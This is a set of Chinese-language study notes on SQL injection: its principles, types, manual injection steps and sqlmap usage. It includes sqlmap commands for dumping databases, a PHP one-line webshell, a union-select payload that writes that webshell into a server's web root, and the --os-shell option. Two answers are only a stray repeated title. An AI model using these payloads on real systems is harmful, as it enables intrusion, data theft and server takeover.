CREATE、SELECTINSERT、 UPDATE、 DELETE 和 DROP

8、sql语法可以分为数据定义,数据操作,数据控制3种

9、sql注入漏洞:

攻击者利用Web应用程序对用户输入验证.上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

10、sql注入原理:
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全。

11、sql注入的条件

1、用户能够控制输入
2、原本程序要执行的SQL语句,拼接了用户输入的恶意数据

12、sql注入的危害:可以使用万能密码进行登录网站后台,可以获取管理员权限进行增删改查操作,可以进行远程操控

13、SQL注入漏洞都有哪些分类?

按照注入点类型分类

  1、数字型(整型)注入

  2、字符型注入

  3、搜索型注入

按照注入技术(执行效果)分类

  1、基于布尔的盲注

  2、基于时间的盲注

  3、基于报错的注入

  4、联合查询注入

  5、堆查询注入

14、如何判断整型和字符型注入?

数字型(整型)注入:输入的参数为整数,如ID、年龄、页码等

字符型注入:输入的参数为字符串

与数字型注入的区别在于:字符型注入一般要使用单引号来闭合

?id=1 and 1=2-- +可以正常返回页面的话是字符型注入,不可以正常返回页面的话是整形注入

15、SQL注入漏洞形成的原因

后台存在的问题

  1、后台无过滤或者 编码用户数据
  2、数据库可以拼接用户传递的恶意代码
错误处理不当
  1、详细的内部错误消息显示给用户或攻击者
  2、错误信息可以直接给攻击者提供下一步攻击帮助

不安全的数据库的配置

  权限问题

16、手工注入的过程:

  (1)判断是否存在注入点;
  (2)判断字段长度;
  (3)判断字段回显位置;
  (4)判断数据库信息:
  (5) 查找数据库名;
  (6)查找数据库表;
  (7)查找数据库表中所有字段以及字段值。

17、哪些地方可能存在注入点?

GET,POST,Cookie,Host,Seeion,Select,User-Agent,新闻,搜索,登录,留言,凡是所有可能与数据库进行操作的地方就有可能有sql注入漏洞

18.简述sqlmap的功能?

扫描,发现并利用给定的URL的SQL注入漏洞。

19.sqlmap针对哪些数据库?

MySQL Orace, PostgreSQL

Microsoft SQL Server, Microsoft Access,IBM DB2

SQLite, Firebird, Sybase和SAP MaxDB

20.sqlmap的常见命令有哪些,记录在下方?

1、sqlmap  -u "注入地址" --dbs // 列举数据库

2、sqlmap -u "注入地址" --current-db // 当前数据库

3、sqlmap -u "注入地址" --users // 列数据库用户

4、sqlmap -u "注入地址" --current-user // 当前用户

5、sqlmap -u "注入地址" --tables -D "数据库" // 列举数据库的表名

6、sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名

7、sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的数据

8、sqImap -m filename (filename中保存检测目标)

9、sqlmap --crawl (sqImap对目标网站进行爬取,然后依次进行测试)

10、SqlMap --level 增加测试级别,对header中相关参数也进行测试
11、sqlmap -r filename (filename中为网站请求数据)

21.sqlmap如何写入木马?

一句话木马:

<?php @eval($_POST[cmd])?>

这次这个木马要写到对方主机的WWW目录下

注意如果是从电脑里直接复制过来文件夹的目录,是单斜杠\,是不行的,必须要双斜杠 \

注意一句话木马要加‘’

流程:1、先判断显示位,判断什么地方存在sql注入漏洞( union select 1,2,3 ­­ )

2、在判断路径(位置)【union select 1,@@datadir,2】

3、 通过sql注入漏洞注入木马: union select 1,1,"一句话木马" into dumpfile "C:\phpStudy\PHPTutorial\WWW\muma.php

4、在文件的根目录下查看是否有该文件存在

22.sqlmap如果执行系统命令?前提是什么?

有权限执行shell(命令行界面),可以进行读写操作

--os-shell

23、sqlmap可以对url做什么

sql注入漏洞笔记随笔

24、sqlmap的五种注入模式

sql注入漏洞笔记随笔

25、sqlmap验证过程以及验证方法:

验证方法:sqlmap.py -u“www.test.com/index.php?id=1"

验证过程
  1、判断可注入的参数
  2、判断可以用哪种SQL注入技术来注入
  3、识别出所有存在的注入类型
  4、尝试去判定数据库版本、开发语言、操作系统版本